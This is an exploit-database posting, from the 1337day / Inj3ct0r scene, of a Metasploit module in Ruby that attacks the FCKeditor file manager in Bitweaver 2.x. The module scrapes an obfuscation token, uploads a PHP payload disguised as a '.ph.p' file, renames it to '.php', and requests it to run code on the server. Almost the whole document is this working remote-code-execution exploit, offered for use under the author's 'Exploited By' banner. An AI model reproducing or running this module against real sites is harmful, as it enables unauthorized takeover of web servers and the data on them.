Bitweaver 2.x (FCKeditor) File Upload Code Execution

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1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
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1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
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##
# Bitweaver 2.x (FCKeditor) File Upload Code Execution (meta)
# By KedAns-Dz
# Platform : PHP
##
##
# $Id: bitweaver_fcke.rb | 2011-05-29 01:32  | KedAns-Dz $ 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'Bitweaver 2.x (FCKeditor) File Upload Code Execution',
'Description'    => %q{
This module exploits a vulnerability in the FCK/CKeditor plugin.
By renaming the uploaded file this vulnerability can be used to upload/execute
code on the affected system.
},
'Author'         => [ 'KedAns-Dz <ked-h[at]1337day.com>' ],
'License'        => MSF_LICENSE,
'Version'        => '1.0',
'References'     =>
[
['URL', 'http://1337day.com/exploits/16023'],
],
'Privileged'     => false,
'Payload'        =>
{
'DisableNops' => true,
'Compat'      =>
{
'ConnectionType' => 'find',
},
'Space'       => 1024,
},
'Platform'       => 'php',
'Arch'           => ARCH_PHP,
'Targets'        => [[ 'Automatic', { }]],
'DisclosureDate' => '04/05/2011',
'DefaultTarget'  => 0))

register_options(
[
OptString.new('URI', [true, "Bitweaver directory path", "/"]),
], self.class)
end

def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'fckeditor/jscripts/editor/filemanager/connectors/php/upload.php?Type=File'
res = send_request_raw(
{
'uri' => uri
}, 25)

if (res and res.body =~ /fdviewer.swf/)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def retrieve_obfuscation()

end


def exploit

cmd_php = '<?php ' + payload.encoded + '?>'

# Generate some random strings
cmdscript= rand_text_alpha_lower(20)
boundary    = rand_text_alphanumeric(6)

# Static files
directory = '/fckeditor/jscripts/editor/images'
uri_base    = ''
uri_base << datastore['URI']
uri_base << '/' if uri_base[-1,1] != '/'
uri_base << 'fckeditor/jscripts/editor/filemanager/connectors/php'

# Get obfuscation code (needed to upload files)
obfuscation_code = nil

res = send_request_raw({
'uri'     => uri_base + '/upload.php?Type=File'
}, 25)

if (res)

if(res.body =~ /"obfus", "((\w)+)"\)/)
obfuscation_code = $1
print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
else
print_error("Error retrieving obfuscation code!")
return
end
end



# Upload shellcode (file ending .ph.p)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << "#{cmdscript}.ph.p\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << cmd_php
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri'  => uri_base + "/connector.php?Command=FileUpload&Type=File&CurrentFolder=" + directory + "&obfuscate=#{obfuscation_code}",
'method'  => 'POST',
'data'    => data,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
}, 25)

if (res and res.body =~ /File Upload Success/)
print_status("Successfully uploaded #{cmdscript}.ph.p")
else
print_error("Error uploading #{cmdscript}.ph.p")
end


# Complete the upload process (rename file)
print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
res = send_request_raw({
'uri'     => uri_base + '/connector.php?Command=FileUpload&Type=File&CurrentFolder=' + directory + '&filetotal=1'
})


# Rename the file from .ph.p to .php
res = send_request_cgi(
{
'method'    => 'POST',
'uri'       => uri_base + '/connector.php?Command=Edit&Type=File&CurrentFolder=',
'vars_post' =>
{
'actionfile[0]' => "#{cmdscript}.ph.p",
'renameext[0]'   => 'p',
'renamefile[0]' => "#{cmdscript}.ph",
'sortby' => 'name',
'sorttype' => 'asc',
'showpage' => '0',
'action' => 'rename',
'commit' => '',
}
}, 10)

if (res and res.body =~ /successfully renamed./)
print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
else
print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
end


# Finally call the payload
print_status("Calling payload: #{cmdscript}.php")
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << directory + cmdscript + ".php"
res = send_request_raw({
'uri'=> uri
}, 25)

end

end

#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
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